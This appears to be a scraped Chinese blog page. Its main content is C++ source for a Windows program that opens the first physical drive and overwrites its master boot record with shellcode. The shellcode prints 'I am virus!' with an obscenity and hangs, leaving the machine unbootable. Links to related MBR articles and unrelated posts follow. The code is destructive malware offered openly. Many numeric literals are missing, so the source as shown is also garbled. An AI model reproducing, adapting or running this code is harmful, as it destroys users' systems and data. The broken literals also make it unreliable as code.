1. #include <windows.h>
  2. #include <winioctl.h>
  3.  
  4. unsigned char scode[] =
  5. "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
  6. "\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
  7. "\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
  8. /*
  9. 00000000 B81200 mov ax, 12H ; ah = 0, al = 12h (640 * 480)
  10. 00000003 CD10 int 10h ; 进入图形显示方式,隐藏光标
  11. 00000005 BD187C mov bp, Msg ; ES:BP = 串地址
  12. 00000008 B91800 mov cx, 18h ; CX = 串长度
  13. 0000000B B80113 mov ax, 1301h ; AH = 13, AL = 01h
  14. 0000000E BB0C00 mov bx, 000ch ; 页号为0(BH = 0) 黑底红字(BL = 0Ch,高亮)
  15. 00000011 BA1D0E mov dx, 0e1dh ; dh行, dl列
  16. 00000014 CD10 int 10h ; 10h 号中断
  17. 00000016 E2FE loop $
  18. Msg: db "I am virus! Fuck you :-)"
  19. */
  20. int WINAPI WinMain(
  21. HINSTANCE hInstance, // handle to current instance
  22. HINSTANCE hPrevInstance, // handle to previous instance
  23. LPSTR lpCmdLine, // pointer to command line
  24. int nCmdShow // show state of window
  25. )
  26. {
  27. HANDLE hDevice;
  28. DWORD dwBytesWritten, dwBytesReturned;
  29. BYTE pMBR[] = {};
  30.  
  31. // 重新构造MBR
  32. memcpy(pMBR, scode, sizeof(scode) - );
  33. pMBR[] = 0x55;
  34. pMBR[] = 0xAA;
  35.  
  36. hDevice = CreateFile
  37. (
  38. "\\\\.\\PHYSICALDRIVE0",
  39. GENERIC_READ | GENERIC_WRITE,
  40. FILE_SHARE_READ | FILE_SHARE_WRITE,
  41. NULL,
  42. OPEN_EXISTING,
  43. ,
  44. NULL
  45. );
  46. if (hDevice == INVALID_HANDLE_VALUE)
  47. return -;
  48. DeviceIoControl
  49. (
  50. hDevice,
  51. FSCTL_LOCK_VOLUME,
  52. NULL,
  53. ,
  54. NULL,
  55. ,
  56. &dwBytesReturned,
  57. NULL
  58. );
  59. // 写入病毒内容
  60. WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
  61. DeviceIoControl
  62. (
  63. hDevice,
  64. FSCTL_UNLOCK_VOLUME,
  65. NULL,
  66. ,
  67. NULL,
  68. ,
  69. &dwBytesReturned,
  70. NULL
  71. );
  72. CloseHandle(hDevice);
  73. return ;
  74. }

C++写入mbr的更多相关文章

  1. 将grub写入mbr

    现在习惯了开机启动的方法,所以我们把grub重新安装到硬盘的MBR上面. 这个步骤也有两种方法,一是安装grub4dos,然后启动,选中搜索硬盘上的linux引导文件,进入Linux之后再安装grub ...

  2. Bootice1.34版本把grub4dos0.46a写入硬盘MBR失败一个例子

    Bootice1.34版本把grub4dos0.46a写入硬盘MBR失败一个例子         一个同事的台式机,BIOS启动,500GB硬盘,分了四个MBR分区,C盘是激活的主分区,第二个分区50 ...

  3. 双系统如何删除Linux,恢复Windows从MBR引导启动?

    嗯,现在愿意尝试Linux的人越来越多了.通常,如果一台电脑里已经装有了Windows,再装Linux,安装时,Linux的grub引导程 序就会覆盖掉保存在MBR当中的原来的Windows引导程序. ...

  4. 【转载】 硬盘主引导记录(MBR)及其结构详解

    硬盘的0柱面.0磁头.1扇区称为主引导扇区,FDISK程序写到该扇区的内容称为主引导记录(MBR).该记录占用512个字节,它用于硬盘启动时将系统控制权交给用户指定的,并在分区表中登记了的某个操作系统 ...

  5. mbr grub的区别

    mbr是磁盘的物理扇区,不是程序名: 因为BIOS很小,功能有限,为了完成加载操作系统的功能,就产生了mbr: bios检测到一个硬盘后,将硬盘的0柱面.0磁头.1扇区的内容经过简单判断后, 至内存中 ...

  6. 一个改写MBR的例子

    前言 想要对MBR类的病毒进行一下研究与学习,在此期间,看了很多资料,其中帮助最大的就是金龟子学姐和willj学长发表的文章.一个从源码与实现角度来讲了一下,另外一个从反病毒角度来分析.   功能描述 ...

  7. How to create a "BOOT USB DISK" for EXSI6.0

    1 准备工作 opensuse 13.2ESXi ISO文件  //vmware 官网下载 VMware-VMvisor-Installer-5.1.0-799733.x86_64.iso,XXXXX ...

  8. 定制centos安装iso

    参考 https://gist.github.com/pauljeff/4b9ad551cb6c35870d7c https://www.redhat.com/archives/kickstart-l ...

  9. Linux磁盘管理之逻辑结构主引导扇区02

    一.主引导扇区 主引导扇区位于硬盘的0磁道0柱面1扇区,共占用了63个扇区,但实际上只使用了512字节,由三大部分组成: 1.主引导记录MBR(Master Boot Record):占446字节. ...

随机推荐

  1. PHP程序员应该知道的15个库

    最几年,PHP已经成为最受欢迎的一种有效服务器端编程语言.据2013年发布的一份调查报告显示,PHP语言已经被安装在全球超过2.4亿个网站以及210万台Web服务器之上.PHP代表超文本预处理器,它主 ...

  2. bokeyuan_python文章爬去入mongodb读取--LOWBIPROGRAMMER

    # -*- coding: utf-8 -*- import requests,os from lxml import etree from pymongo import * class Boke(o ...

  3. flask-WTForms组件

    WTForms是一个支持多个web框架的form组件 主要能够帮助我们生成html标签 对数据进行验证 安装 pip install wtforms Wtforms的使用 这里借助一个用户登录注册的示 ...

  4. oracle行转列,列转行

    多行转字符串这个比较简单,用||或concat函数可以实现 SQL Code select concat(id,username) str from app_userselect id||userna ...

  5. 看懂Oracle执行计划、表连接方式

    看懂Oracle执行计划  原文:https://www.cnblogs.com/Dreamer-1/p/6076440.html 最近一直在跟Oracle打交道,从最初的一脸懵逼到现在的略有所知,也 ...

  6. 怎样在wordpress后台显示日志 ID

    有时我们需要在wordpress后台编辑特定的文章,找了大半天眼睛都花了,不禁会吐槽一下.有没有什么办法可以直接在日志列表查看日志 ID 呢?我们可以通过下面的代码实现: <?php /* Pl ...

  7. [MySQL5.6] 最近对group commit的小优化

    [MySQL5.6] 最近对group commit的小优化 http://www.tuicool.com/articles/rEZr2q 最近花了一些时间在做MySQL Group Commit的优 ...

  8. 16 jmeter中的监听器以及测试结果分析

    常用监听器 断言结果.查看结果树.聚合报告.Summary Report.用表格查看结果.图形结果.aggregate graph等 指标分析 -Samples:本次场景中一共完成了多少请求-Aver ...

  9. spring boot读取配置文件

    一.springboot配置文件 核心配置文件和自定义配置文件.核心配置文件是指在resources根目录下的application.properties或application.yml配置文     ...

  10. javascript本地,宿主,内置对象

    一.本地对象:官方定义的对象独立于宿主环境的 ECMAScript 实现提供的对象,包括操作系统和浏览器.本地对象就是 ECMA-262 定义的类(引用类型).“本地对象”包含内容:   Object ...